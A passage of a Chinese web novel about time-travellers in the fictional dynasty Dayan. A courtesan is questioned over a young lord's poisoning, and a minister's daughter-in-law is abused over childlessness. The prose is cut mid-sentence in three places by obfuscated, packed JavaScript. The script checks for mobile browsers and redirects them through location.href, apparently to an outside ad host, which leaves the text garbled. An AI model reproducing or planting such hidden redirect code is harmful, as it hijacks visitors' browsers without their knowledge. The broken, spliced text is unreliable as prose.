牡丹越想越觉得委屈,未语泪先流,眼泪不用排演般哗啦啦地落下,温凉的泪珠都滴在了柳瓷手背上。 “哭什么,”柳瓷默了默,仍是挣脱了她的手,却从袖中取出了一方素帕,“擦擦。” 牡丹愣了,包着眼泪接过手帕,刚想开口柳瓷便转身走了,好似短暂的怜惜也只是假象。 柳瓷的房间被安排在远离楼里姑娘住处的二楼转角,而曹妈妈的卧房则独立于三楼,楼里的人轻易不得上楼。 柳瓷步履在上楼前停住,不动声色侧过脸观察着楼下的情景。 春怡楼是长安最有名的青楼,自是不止皮肉生意。白日里有些达官显贵乐得在大堂听曲,却欲盖弥彰地各个戴着面具;到了夜里春怡楼又是荒唐旖旎的醉梦乡,至于前来醉梦之人,可谓是数不胜数。 柳瓷有一副好皮相,曹梦丽虽欣赏她的能力,但总有意无意要将她培养成千金难买的伶人。用曹梦丽的话来说,若她成为长安第一个不靠卖身远名的花魁,待她声势消退,曹梦丽自会给她一笔钱财放她离开。 柳瓷承认穿越之初她委实天真过头了,薄岑一事是上天给她敲的警钟。 她谁也不能信,牡丹也好,曹梦丽也好,她要保住她的性命和尊严,只能信自己。 “愣什么,还不快上来?” 曹梦丽耷着眼不知已在栏杆处看了她多久,柳瓷背脊微凉,遂转过脸来抬眼看向她,嗔道:“我以为牡丹那丫头又唬我呢,这就来。” 她此话落下,面色在拐檐阴影下神情不定的女人像是忽地散去了渗人的阴气,如常般自顾自先进了屋。 柳瓷面不红心不跳地追上她,出乎意料在门口看见两个眼熟的人——她猜到曹梦丽突然找她是有事,只是没料到…… “您是……永庆侯府的老夫人?”柳瓷看到门外的人其实心里便有了数,面上却眉头微动,将眼神求证般转向曹梦丽。 曹梦丽点了点头,“是老夫人有事要问你,你只管好生答。” 她似是只起到引见的作用,朝敬仁老夫人致礼告退,在与柳瓷擦肩而过时低声嘱咐,“注意你的措辞,莫要冲撞了老夫人。” 柳瓷眸光对上她鹰隼般的眼睛,下意识应下。 待到曹梦丽自外头拉上房门,徐婵才说了见到柳瓷后的第一句话,“柳瓷,是吗?” 房中不再有旁人,曹梦丽和徐婵的侍女都在屋外候着。 “是,”除了大理寺那些酒囊饭袋的狗官和春怡楼来往的常客,柳瓷亦是头一次和所谓的贵人离这么近,“……是我。” 王侯将相、名门贵族,就是如此么? 徐婵坐在柳木桌边,闻言看了看她,道:“坐。” 柳瓷不知道她壶里卖的什么药,可既然点名道姓地要找她,也不会是为了别的事了,“夫人想要问什么,柳瓷知无不言。” “你知道老身想问什么,”徐婵似笑非笑,亲自端起茶壶斟了两杯茶,随后将一杯推至柳瓷手边,“自然是老身孙儿的事。” 果然,是为薄岑来的。 昨日大理寺才把她放出来,今日一早徐婵便找上了门。柳瓷沉了口气,道:“那日屋中发生之事,我已全部告知大理寺,绝无隐瞒。” “你觉得我这个短命的孙儿如何?”徐婵问。 一个莫名奇妙的问题。徐婵是薄岑的亲祖母,却问柳瓷一个只和他有过几面之缘的人……柳瓷眉间不易察觉地压出轻痕,“我与薄公子并不相熟,事发之前,我也不过为薄公子弹过两首曲子罢了。” “那日他做了什么?” “前一日晚上薄公子让我扮作侯府侍女进了侯府,便将我安置在静室。”这些陈词柳瓷已在大理寺说过无数遍,“他似是本对我有安排的,但不知为何又出去,一夜未归。” “直到次日一早,应是卯时,薄公子回来时满身酒气,一头倒在了矮塌上。我见他只是醉了,不敢叫人,便在屋中等着他醒来。” 徐婵:“期间你不曾离开过?” 柳瓷道:“不曾。” 如此回答似乎只会加重她的嫌疑,但柳瓷神色未变,继续道:“约莫巳时末,薄公子醒后找人要了水,我听见他和什么人起了争执,好像是有关什么贺宴,薄公子很生气,甩上门又回了矮塌。” “薄公子在屏风后,我瞧不见他在做什么,隐约像是假寐,随后薄公子叫我弹琴,我便弹了。”柳瓷说,“弹完一曲薄公子没有说话,于是我又弹了一曲,他却依旧没有动静,我闻到气味有些不对,所以自作主张上前看了薄公子的情况。” “你发现他纹丝不动,像是死了。但你是冒充侍女进的侯府,一时不敢声张,心有侥幸以为薄岑只是昏迷,恰巧你过去在逃难来长安时学过皮毛医术,想按压他的胸口让他恢复气息,不想他此时已死透了,于是你大声尖叫,吸引来了路过附近的管家。” 徐婵看着她,将她在大理寺的供述分毫不差地重复出来,“你一面怕极了尸体,一面又怕侯府将你看作凶手,紧张之下晕了过去,再醒来人就在大理寺了,老身说得对否?” 柳瓷沉默一瞬,掀起眼皮直视着徐婵的眼睛,“夫人说得很对,就像用我的眼睛看完了全程一般,柳瓷佩服。” 徐婵忽地大笑出声,待她笑够了收敛了笑意,一双被浮光映出瞳色的眸子如同凝视猎物般凝视着柳瓷,“老身有一件事十分好奇。” 柳瓷八风不动,“您直言。” “老身不曾与你打过照面,你是如何一眼认出老身的身份的?” …… “母亲,”温窈对臧翡行过礼,示意琉银将带来的府中账本交上去,“儿媳已将此前府中一切开销分门归类记录在册,对账明细亦单独列出,请母亲核查。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181868|165315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 臧翡淡淡“嗯”了一声,放下茶盏,自方才琉银交给徐嬷嬷的账本中挑拣出一本,垂眼翻看着。 从温窈嫁进祝家起,太傅府的各项事务臧翡便逐渐放手交给温窈去做,不过府下田产当铺一类的管事仍是由臧翡主导,温窈负责辅助。 “亲家可一切都好?”臧翡没有抬眼,视线仍在账本上,像是随口问问。 温窈道:“回母亲,都好。” 臧翡翻页的动作一顿,只道:“那便好。” 温窈敛眸站着,又听她问:“每日一早的药,你喝得如何?” 生子药能喝得如何?温窈温顺道:“儿媳只盼上天庇佑。” 臧翡合上手中的账册,却并未放回原处,而是压在了自己手掌下,“温窈。” 这是臧翡发怒前的惯常作风,温窈习以为常地跪下,依旧是那副温吞和顺的模样,“儿媳在。” 臧翡居高临下问:“你入太傅府三年,除去此事,我可有为难过你?” 温窈眸色不眨,道:“不曾。” 臧翡道:“我再问你,分掌中馈、历年用度,我可有亏待于你?” 温窈仍旧不假思索道:“不曾。” “既如此,我祝家待你不薄。绵延子嗣乃一家要事,清衡不懂事,你作为妻子,更要识得分寸。”臧翡狭眸,她最厌烦温窈这副打不疼的棉花包子样,“你究竟是不想生,还是不能生?” 若说她是嫁进来一年未有所出,臧翡便忍了,可整整三年都不见她的肚子有动静,臧翡不是傻子,祝清衡护着温窈一次两次,她要还看不出究竟是谁的主意,她这么多年算白活了。 “儿媳亦想早日为祝家诞下子嗣,”温窈弯了弯唇,仿佛没有察觉臧翡的忍耐已到了极限,“只是天公不作美……” 啪—— 臧翡怒然将手边的茶盏挥落,杯盏打碎在地,温热的茶液溅到不曾躲闪的女人膝上,细碎的瓷片迸起,划过温窈眼下,流出鲜红的血刃。 “少夫人!” 琉锦今日有事出去,只有琉银候在她身边。琉银没学过武,哪怕及时伸手去拉她也没能来得及。 只差毫厘,那碎瓷便能迸进她的眼睛。 臧翡下意识攥紧指节,脸色也有些难看。 “还不去叫府医来?”她憋着火,气便撒在了徐嬷嬷身上。 徐嬷嬷连忙遣了人去,圆场似的取出帕子递到仍跪着的温窈手边,“少夫人您先擦擦眼睛……” “若母亲没有旁事,儿媳便先退下了。”温窈无视了徐嬷嬷代替臧翡展现的殷勤,起身行礼后就要离去。 “温窈!”臧翡万万想不到她敢这般作态顶撞婆母,一时口不择言怒道,“你别以为我不知道,清衡每月去书肆的花销到底是为了谁!” “从你入府那日我便警告了你,嫁进了祝家,就别再想你那天方夜谭的破东西!没有清衡,你早就是死路一条!” “你以为清衡现在看重你,愿意帮你哄骗哀求母亲,倘有一日有人取代了你的位置,你怕是追悔莫及!” 温窈背影微顿,似是听了进去。 臧翡冷笑平了口气,然而还未继续斥责,便听女人一贯清泠的声音传来。 “日后不会了。” 9. 愿为西南风 大理寺偏堂内,贺千堂长舒一口气,搓了搓发凉的手指,有意无意地打量着守在门口的衙役。 那两个衙役背对着他,显然对他在此处做什么不感兴趣,亦不在意贺千堂掩耳盗铃般的探寻视线。 贺千堂忍了又忍,终于犹豫着举起手试探问道:“两位大人,贺某还要在此等多久啊?” 没人理,像问了两个聋子。 贺千堂紧抿着嘴,心道他已等了一个时辰了,就算祝少卿是再大的官,他也只再忍一刻钟。 昨夜他不就是去送了副字,顺便将上回祝清衡问的事告知一番,多余的事他一件也没做,莫名其妙就把他架过来看犯人似的看着他做什么? 贺千堂又叹了口气,心虚地改为揉搓自己的后脖子。 一刻钟后,信守诺言的贺千堂小心翼翼蹭到门口,不出意外被衙役手中未出鞘的长刀拦截。 他觍着脸,企图用尴尬的笑容感化衙役,“如厕,可否?” 左边的衙役扫了他一眼,收回长刀,在他欣喜要踏出门槛时开口道:“不可。” 贺千堂:“……” “某若在这堂内行如此不礼之事,恐怕有损祝少卿的威严罢?”好歹他也是祝清衡命人拽来的,做什么都和祝清衡能扯上点关系吧,贺千堂只觉得用尽了毕生的好脾气,“两位大人,人有三急啊,行行好呗?” 右边的衙役睨了他一眼,横过刀彻底挡住去路,“您随意。” 路挡住了怎么随意? 贺千堂目光呆滞地看着面前泛着银光的刀鞘,后知后觉意识到衙役所说的“随意”是什么意思。 他回头望了望干净如洗的方砖,以及四周严肃齐整的布设。 ……还有天理吗? 贺千堂笑不出来了。 正当他思索着怎么以一种优雅的姿势撒泼打滚让人放他走时,“罪魁祸首”的身影终于“纡尊降贵”出现在他视线中。 两个衙役立刻合掌作揖道:“少卿大人。” “辛苦了,”祝清衡一面慰问衙役一面迈过门槛,只看了一眼僵硬杵在堂中的贺千堂,旋即语气淡淡对两个衙役道,“你们去正堂吧。” 贺千堂琢磨着他话语里的气调,摸了摸鼻子,朝他作揖道:“不知祝大人今日特地寻在下来,是……?” 他似是无意将重音放在了“特地”上,祝清衡懒得在意,自顾自先坐下,然后指了指对面的位置,“不必拘礼,只是有些事要仔细问问你。” 贺千堂糊里糊涂坐了,索性如厕一事也暂缓,又由衷心叹官大一级压死人,他不过一个普通的书肆老板,不仅要把“贵人”偶然吩咐的事情记住办妥,还要牺牲自己的时间来配合回答对方什么事。 祝清衡问:“你昨日去太傅府找我,可碰到了什么人?” “是碰到了,”贺千堂眨眼,不知是专门还是故意地没具体说,反而道,“祝大人问这个又是……?” 祝清衡额角青筋跳了跳,焦躁道:“别管为什么问,你碰到了谁?” 贺千堂皱眉想了想,犹疑着说:“那时天色太暗,贺某只瞧见了一个轮廓,嗯……身后还跟着两个人,都是女子,好像刚下马车。” 祝清衡倏地站起来盯着他,“领头的是不是一个温柔的女人?” “嗯……应该吧。”这么广泛的形容谁说得准啊,反正她身后的侍女非常野蛮。 但贺千堂只是一脸无辜地打太极,“还算温柔?” 祝清衡:“……” 罢了,贺千堂没见过小窈,认不出情有可原。他压着心底的浮躁,耐着性子问:“你们都说了什么?” “问贺某在太傅府门口做什么,”贺千堂说,“然后看了贺某带给您的字。” 祝清衡牙根绷紧,脸色黑得吓人。 贺千堂状作微惊,“祝大人,您这?” “谁允许你……!”祝清衡像是气极了,食指不住隔空点着瑟缩在木椅上的人,“你既是带给我的字,为何要给旁人看?!” 贺千堂落下眼皮,突然道:“贺某想起来了,贺某是听见那侍女叫了少夫人……那少夫人不就是您的妻子吗,贺某没有不给她看的道理啊!” 祝清衡:“……” 他对这语义模糊、条理弯绕还记忆极差的人无话可说。 偏生贺千堂还伸着脸问:“是不能让少夫人瞧见吗?可贺某看少夫人不像生气了,哦对,她还同贺某说,不论是字还是话,都让贺某亲自带给您最好呢!” 多善解人意的妻子啊。 “你可知……!” 祝清衡陡然止住声,掩在袖袍下的拳头早已捏紧,却无处可以发泄。 贺千堂眼神不动声色划过他身侧的拳,安抚般道:“这也没什么,哪个男人没有几个红颜知己……” “你再胆敢胡说,”祝清衡大步跨前揪起贺千堂用料劣质的衣领,目眦欲裂道,“本官叫你无家可归!” 贺千堂轻车熟路地垂下眼皮,“祝大人既然对少夫人情真意切、专一至此,又为何要见写那副字的人呢?” 他幽幽道:“祝大人慧眼如炬,分明已一眼瞧出那是女子的字迹罢?” 常年观字赏画之人自有眼力,人人都道字如其人,以祝清衡的眼力不可能看不出那副字虽行书奇特,可走笔青涩,并不是真正会书法之人所写。 而这样一幅字会流到贺千堂手中被他挂在书肆,一是因其所书内容,二便是因它只消一眼就被人瞧出是年轻女子为谋生计所作。 祝清衡若打的是怜香惜玉的心思大可直接买下,兜兜转转却偏要与之相见,谁不察其司马昭之心呢? …… “姑娘,让琉银为您上药吧?” 琉银红着眼眶,见她颔首,赶忙将医箱里取出的伤药打开,净了手用指沾了小心敷在她眼下。 “大夫人未免太过分了些,”即便是在丞相府,温窈也从未留下过这般屈辱的伤痕,琉银哽咽道,“此次您可再不要委屈自个儿,还替她在姑爷跟前遮掩……” “并非是我遮掩,”温窈终于开口说话,冰凉的膏药敷在她左眼下,药意熏得她眼睛有些涩,“我虽是他的妻,母亲却是他的亲生母亲,如何能比?” 琉银不明白温窈的意思,就算臧翡是祝清衡的亲娘,但他又怎么能容忍自己深爱的女人被欺负呢? “一点小伤罢了,不妨事。”温窈轻轻拍了拍琉银的手,转而问,“琉锦可回来了?” “奴婢回来了。” 琉锦进屋时正好听见这一句,快步走到里间,却见眼泪未止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181869|165315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的琉银,脸色刹变几乎三步并两步上前,便清楚地看清温窈眼下明显的红痕,“……姑娘?” 她立即抓住琉银的胳膊,“怎么回事?” “……是大夫人。”琉银眼泪流得更凶了,又怕隔墙有耳,压着声道,“她训斥姑娘还不止,甚至朝姑娘扔了茶盏!” “一点划伤而已,”温窈无奈捏了捏琉银泪流满面的脸,“再哭,明儿眼睛可要肿了。” “姑娘,”琉锦替琉银擦了眼泪,她思虑得比琉银更多,明白这不仅是像过去那样的敲打了,紧拧的眉头始终松不开,“他们欺人太甚。” 要论身世,温窈以丞相独女的身份嫁给当时尚未有官职的祝清衡本就是下嫁。 三年来祝家是水涨船高,祝正和从太史丞摇身一变成了天子近臣确是因当今圣上落魄时他曾施以援助,可祝清衡能坐上大理寺少卿这个位置——难道臧翡当真以为她儿子有此番能耐,从未学过刑事却能屡破疑难奇案?! 臧翡便是看准了丞相府无人为温窈做主,又得意于祝府如今是御前红人,于是行事愈发张狂放肆。 “此事或许是我错了,”温窈眼睫微垂,淡淡道,“若他娶的是旁人,母亲不会为此烦心。” “姑娘!”琉锦不敢相信这种话会是从温窈口中说出来的,“当年嫁进祝家本就非您所愿,再者那个祝清衡明明在成婚前和您约法三章……” 她望着温窈沉静温婉的面庞,竟也忍不住红了眼,“您本不必如此的,怎么会是您的错?!” 子嗣子嗣子嗣,三年来琉锦陪在温窈身边,眼睁睁看着温窈从起初的淡漠冷情,到动摇怀疑,眼下到了这个地步,她不过是在苦苦坚守当初自己的意愿抱负,缘何就被称作“错”? 没有人比祝家更清楚温窈为何会嫁进来,如今倒是摆上了谱,央着子嗣一事数落不尽,半分没想过三年来温窈带给祝家的远不止一个子嗣的价值! “事已至此,是不是我的错都不再有余地了……今日外头的事可还顺利?”温窈轻轻用指腹擦去琉锦颊边落下的泪,到底忍不住温声安慰,“三年都过来了,不差这一次。” 琉锦抬袖抹去泪渍,她知道在温窈眼中比起这点恩怨,她派自己去做的事更重要,再顾不得旁的,回道:“奴婢已按您的吩咐安排妥当,定在十一月十五,届时您混在其中,不会有人察觉。” 温窈抚住她和琉银的柔荑,轻声道:“那我们便还有后路。” …… “我来春怡楼也不过两月,这个时候专程到楼里来找我的女人,又被曹妈妈如此尊敬,”柳瓷轻轻笑了笑,“除了您,我想不出还有别人了。” “似是有几分道理,”徐婵审视的目光移开,并未不依不饶,转而道,“想必你也知道,杀害我孙儿的凶手已自尽了,即便你目睹了薄岑毒发,大理寺放了你,自是说明没有证据证明此事与你有关……老身今日本不该冒昧来寻你,只是有所听闻,那日薄岑要带走的本不是你,是你主动要和他去的,可对否?” 此事整个春怡楼里的姑娘都一清二楚,柳瓷没有隐瞒的必要,“是。” 徐婵好奇道:“难道你不知道他的纨绔行径么?” 纨绔行径?指的是他颇为钟情将青楼的姑娘带回府暗中折磨的暴行么? 10. 长逝入君怀 柳瓷昨日回到春怡楼后便带了一盒上好的胭脂去了青荷房中——牡丹既存了别的心思,曹梦丽亦不是什么善良好人,与其在两人身上打探,不如直接去问那日之事的另一个主角。 就柳瓷两月来的观察,薄岑几乎日日都到春怡楼来,且向来出手大方,楼里的姑娘都被他点了个遍,但独独青荷是他带回侯府最多的。 于楼里的姑娘们来说,奉承讨好客人才能有立身之地,更别说当众拒绝贵客、甚至顶撞老鸨,青荷敢这么做,必然是心中有衡量。 她宁愿承受曹梦丽的殴打谩骂,也无法接受侍奉薄岑。 只能说明和薄岑回侯府,受到的是比打骂更痛苦的酷刑。 “知道也好,不知道也好,”柳瓷垂下眼帘,避重就轻道,“夫人应当清楚,奴家只是清倌,不过想挣些抚琴的碎钱……再可怖的行径,只要银子到位,都不算什么。” 徐婵若有所思地点了点头。柳瓷还算是个聪明人,因此她很明白,徐婵来寻她,不可能毫无准备。 她说的每一句话或许徐婵都早有预料,而起初徐婵作为死者的祖母询问她,她是亲视现场的目击者,算是徐婵“有求”于她,她自然可以自称“我”。 可一旦徐婵开始怀疑、试探,她只有先放低身份,徐婵为难她的可能性便会小上许多。 然而徐婵岂会轻易就此揭过,“若按你这般说,那老身可否认为,只要有足够的钱财,无论做什么,你都心甘情愿?” 柳瓷神色微顿,抬眼看向她苍老的面容。 柳瓷对这位敬仁老夫人的了解不多,只知道在眼下的封建社会里,她已算得上是位高的女人。 徐婵所展现出的一切,无论是穿着还是谈吐,都仿佛一道旁人至死也无法逾越的鸿沟。 哪怕她位高却不权重,但压死柳瓷这样一个小小青楼女,简直像碾死蚂蚁一般轻而易举。 柳瓷无声攥了攥指节,她听得出来徐婵的意思——只要钱到位什么都做,在徐婵眼里就有她因财隐瞒线索甚至加害薄岑的可能。 对徐婵而言,柳瓷心里的那点想法谋划远不够她放在眼里。 所以她并不急着质问她、恐吓她,像逗弄小宠一样欣赏着柳瓷自作聪明、又自掘坟墓。 屋中静寂许久,空中漂浮的黏稠香腻的脂粉气如同一缠一缠的白绫,足以将柳瓷溺毙其中。 “别害怕,姑娘。”徐婵终于露出一丝笑,从宽袖中取出一卷手掌大的白绢布,置于柳瓷面前,“薄岑已死,不论你在其中扮演了什么角色,老身都不再深究。” 柳瓷紧绷的颈骨轻动,她实在摸不清徐婵葫芦里卖的什么药,先前多说多错,此刻再不敢轻举妄动。 “老身今日来,并非是要因薄岑为难你,”徐婵抬了抬下颌,示意她打开那卷绢布,“其实薄岑身死那日,你没有真正晕过去,而是为求自保服用了让人看起来像晕倒的药物,直到老身进屋查看时,你的药效才彻底发作昏厥,所以今日你一眼便认出了老身。” 她只觉浑身血液都凝固在血管里,如果徐婵连此事都看出来了,还有什么是她不知道的?! “你放心,伏龙使和大理寺是在老身之后才进屋,那时你已先被侯府的管家带了下去,除了老身,便是皇帝和长公主也未必知晓。”徐婵道,“你倒是有点脑子,可惜太过天真,若那日先进去的是大理寺,你今天便不会坐在这里了。” 柳瓷没有抬眸,唇色却发了白,“是你。” 徐婵恍若未闻,催促她打开绢布,“一份请帖罢了,不必这般谨慎。” 柳瓷抿紧唇,到底伸手解开了系在绢布上的绸带。 这块绢布显然是上好的丝线缝制,甫一松开束缚,它便顺滑地摊开,露出其中真容。 所谓请帖并不是绢布,而是保存在绢布中的一片漆黑的鸦羽。 她下意识看向徐婵,在对方的默许下指尖触碰上鸦羽表面。 唰—— 看似是绒羽的羽面竟是由木丝所制,排列出一行清楚鲜明的字。 【十一月十五,天城河】 “你上个月写过一幅字,正好被祝清衡——祝少卿买了去。”徐婵淡淡道,“我听说,他几日前还向书肆老板打听那幅字背后的主人。” 柳瓷拧了拧眉,她自然知道自己写了什么。 事实上她不擅长书法,大兖的文字与现代流传的古字都不同,她苦练了一月余,才写出那么一张看得过眼的东西。 她托人拿去书坊卖,钱反而是次要的。 不过是想借那首现代人人耳熟能详的诗试探一件事。 大兖,是否只有她一个穿越者。 徐婵将她深思的神情纳入眼底,她不在意柳瓷是怎么写出那首诗的,更不在意那诗为什么独得祝清衡的青眼,她亲自和柳瓷见面,只为了一件事,“既然祝清衡对那幅字感兴趣,你便是最合适的人选。” 柳瓷犹豫,她敏感地从中嗅出危险的气味,“我不懂您的意思。” “我要你借此为踏板,去接近祝清衡的妻子,温窈。”徐婵平静沉稳的脸上竟罕见流露出几分兴味,“你手中这封请帖,是大兖最有名的机关师仇山所派。” “祝家会有人去。”徐婵说,“而我将这个机会给你,你那么聪明,应该知道要怎么做。” 不出意外,十一月十五,会是很热闹的一天。 徐婵起身,她深知要马跑就要给马吃草的道理,“事成之后,我会助你离开此地。” …… “我只是有些事要问她,并非是有龌龊心思!” 祝清衡松开男子的衣领,突然凝眸看向他,“怎么,你以为我是要霸占良家女子,故意做的这么一出戏?” 难道他祝清衡是什么饥不择食的男人,只看一幅字便能动了歪心思? “非也。”贺千堂拍了拍自己被攥得皱巴巴的衣领,心疼地皱了皱眉,“祝大人是贺某书肆的常客,贺某不过一个靠卖书讨生活的平头百姓,哪敢做戏戏耍大理寺少卿呢?” 祝清衡狐疑,总觉得贺千堂的话并非本意,但又挑不出什么证据。 贺千堂道:“祝大人既然问完了,那贺某可否回书肆了?” “等等,”祝清衡叫住他,“你如今也找不到……那幅字的主人么?” 贺千堂挑了下眉,耸肩道:“那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181870|165315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字是几经辗转才到贺某手中的,要寻它背后的人,凭贺某的本事得多费些功夫。” 祝清衡沉吟片刻,道:“你只将你知道的无所隐瞒地告诉我,其余的事……你便不用管了。” 说来说去还是要找对方的下落,贺千堂心中冷笑,却没再多言。 总之只要别让他找,祝清衡爱做什么做什么。 待贺千堂事无巨细地说清楚,祝清衡便没再拦他,命人送他回去。 贺千堂走后,他反而不着急找人,只怔怔望着手边写下方才贺千堂交代人事的薄纸,这几日大事小事堆在一起,让他打心底生出一股烦躁乏闷。 他到大兖来,竟已有二十四年了。 现代的日子于他而言如同空中楼阁,有时连祝清衡都无法分清楚,究竟是他从现代穿越而来成为了祝家刚出生的孩子,还是大兖的祝清衡做了一场名为现代的光怪陆离的梦。 他拥有在现代生活的二十年记忆,却成了只能牙牙学语的婴孩,重头学着说话、走路、生活。 在大兖说的每一句话、走的每一步路,都在悄然抹灭曾经现代祝清衡的痕迹。 或许是现代的他死了,投胎到大兖前忘了喝孟婆汤。 如果他不曾在书肆的挂墙上看到那句诗,他甚至忘记了“穿越”这一回事。 举头望明月,低头思故乡。 尘封在脑海深处的记忆被一句简单的诗撬开了缝隙,无数属于现代的过往涌回他的身体,仿佛在警示他到底是谁。 他在无人的偏堂沉默地坐着,直到天黑。 “少卿大人?”换值的衙役举着烛火试探唤道,“您是还有公事要办么?” 祝清衡反应迟缓地眨了下眼,拾起手边的纸张递给衙役。 男人哑声道:“去查,查背后之人,究竟是谁。” 衙役不疑有他,领命而去。 祝清衡长舒一口气,疲惫地抬手揉了揉太阳穴。 直觉告诉他,写出那幅字的人应与他年岁相差不大。 正因为如此,他才萌生了想与对方见上一面的念头——无论对方是男是女,既然他有缘看到了那幅字,便算得上是异乡遇故知。 倘若对方在大兖衣食无忧,便当交个朋友,美事一桩;若对方有什么难处,他也可以施以援手,对得起自己的良心。 否则他日日夜夜惦记此事,终究不是个办法。 只不过…… 祝清衡不由想起贺千堂所说的话。 昨日小窈撞见贺千堂来找他,倒不是大事。可她瞧见了那幅字,她向来聪慧,必然看出他买回此字的目的并非收藏。 更何况,贺千堂都能辨出的字迹,温窈不会看不出。 可温窈什么也没有问,似乎对此没有一丝好奇,一如既往地平和,好像也不在乎他的想法。 他是穿越者的事,二十四年来他没有向任何人提起,包括他深爱的枕边人。 他不知道怎么说,特别是对温窈。 如果温窈得知他同写下那诗的女子相见……会不会因此想要探究他的秘密,又或是有一丝不再平静的情绪呢? 如果温窈真的爱他的话。 11. 浮云游子意 “少爷,大夫人叫小的在这等您呢。” 此时正是他下值不久的时候,除非有要紧事否则臧翡不会无故让人专门等她。祝清衡奇怪地睨了传话小厮一眼,“怎么了?” “是陛下那边又来人了,”竹山是青云院里的侍从,一直在祝清衡身边伺候,平日里府里有什么事都是他向男人汇报,“是来找您的。” 这个时辰来找他,估计还是薄岑案子的事。昨日皇上不仅罚了方宏山半年俸禄,还下旨停了他半月职,大理寺的事务便一并落在了祝清衡身上,不过薄岑和周天辰的案子也终于如方宏山的愿转交到了伏龙使手里。 只不过“烂摊子”虽甩掉了,但民间对大理寺公办查案的能力略有微词,即便担任御史监察一职之人是祝清衡的亲父,也难挡闲言碎语传到朝堂。 祝清衡眉头轻动,伏龙使要找他,白日里随时可以去大理寺,却偏偏要等到他下值……他没急着进府,转而问竹山,“来人你可识得?” 竹山回道:“小的没认错的话,应是指挥使大人,亦是上回来寻少夫人的大人。” 伏龙使指挥使只有一个——谢子,谢岐最忠诚的狗。 祝清衡冷笑一声,“也难为他纡尊降贵,几次三番大驾祝府光临了。” 他心中正有郁气无处可发,甩袖便要改道去前堂,却又被竹山拦了下来。 “少爷,今日府里有一事,小的思前想后觉得,得提前知会您一声。”竹山左右顾看一番,确保附近无人探听才低声道,“白日里夫人和少夫人起了争执,似是险些伤到了少夫人的眼睛。” “因何争执?”祝清衡本不耐烦的脸色微变,“又是子嗣?” 竹山讷讷,“貌似是。” “那少夫人什么反应?”祝清衡不由焦躁,“为何当时你不立即去大理寺告知我?” 竹山犹豫,“小的怕大夫人发现端倪……至于少夫人,几乎都在房中,今日只有少夫人身边的侍女琉锦出了府。” 祝清衡攥了攥指节,忽地问:“琉锦去了何处?” …… “奴婢听前院说,宫里来人寻姑爷有要事,之后姑爷又被瑾华院叫了去,怕是回青云院还要片刻。”瑾华院是臧翡的住处,琉锦有些忧心她会恶人先告状,“再怎么说今日的事也归不到您头上,毕竟她可是毫发未损。” 臧翡既然先一步把祝清衡叫去,说明她心里清楚白日的事是温窈受了委屈。哪怕她有多大、多合理的理由,也不该失控动手。 那片飞瓷但凡歪上几分,就不止皮外伤那么简单。 “她是祝家主母,为子嗣之事忧焦无可厚非,”温窈卧在小榻上淡淡翻了一页书,“嫁为人妇的女人,大多都身不由己。” 今日臧翡与温窈的关系是婆母和儿媳,而从古至今家门个户的第一大要事便是生养,不仅要孩儿,还要男儿,否则“无人”继承家业,谁人都能因此指指点点,无后无子将是无法抹去、饱受诟病的“污点”。 温窈嫁进祝府三年无儿无女本不是大事,偏偏祝清衡只她一个女人,小妾通房一个不纳,恐怕在臧翡和祝正和看来,温窈是存心要断了祝家的后。 有时她也会不禁反问自己,这样做是否太自私,对祝家、祝清衡不公平;可她又很难说服自己,在如此情况之下去安心孕育一个孩子。 “您为小祝大人付出得并不比他少,”琉锦深谙温窈的确对祝清衡有情意,放眼长安能做到祝清衡这个份儿的男人也确实少之又少,温窈有心,岂是铁石心肠,“再者,日子总不能一直这般过下去。” 头一年半载,臧翡还会顾忌丞相府,又有祝清衡从中中和,如今世事变化,此事倘若不给臧翡一个令她满意的交代,日后同样的事只会多不会少。 琉锦小心注意着温窈的神色,昨晚那幅字祝清衡没有拿回主屋,约莫是放在了书房。 哪怕是她都瞧出了其中微妙所在,温窈不可能毫无察觉,再者白日里臧翡又恰好说了那样的话……在她看来,如果祝清衡当真起了别的心思,或许对温窈来说反而是好事。 “眼下腊月将至,”温窈垂眸将书合上,时间越长,她仿佛越不能坚定开始的想法,她比谁都清楚,今后臧翡只会在子嗣之事上愈发严苛,届时即便是祝清衡也未必能抗住,“若还是寻不到她的下落,我……” “少夫人,姑爷回来了。” 琉银的声音自外间传来,温窈适时止了话头,披上外衣去迎。 男人大步流星地进来,官服还未换下,先一步拉住了温窈的手,淡声对旁人道:“都下去吧。” 温窈看出他有话要说,可天晚了他下值回府后又忙着应付宫中来人和瑾华院,约莫来不及吃晚膳的,“我叫小厨房先上菜吧,你……” 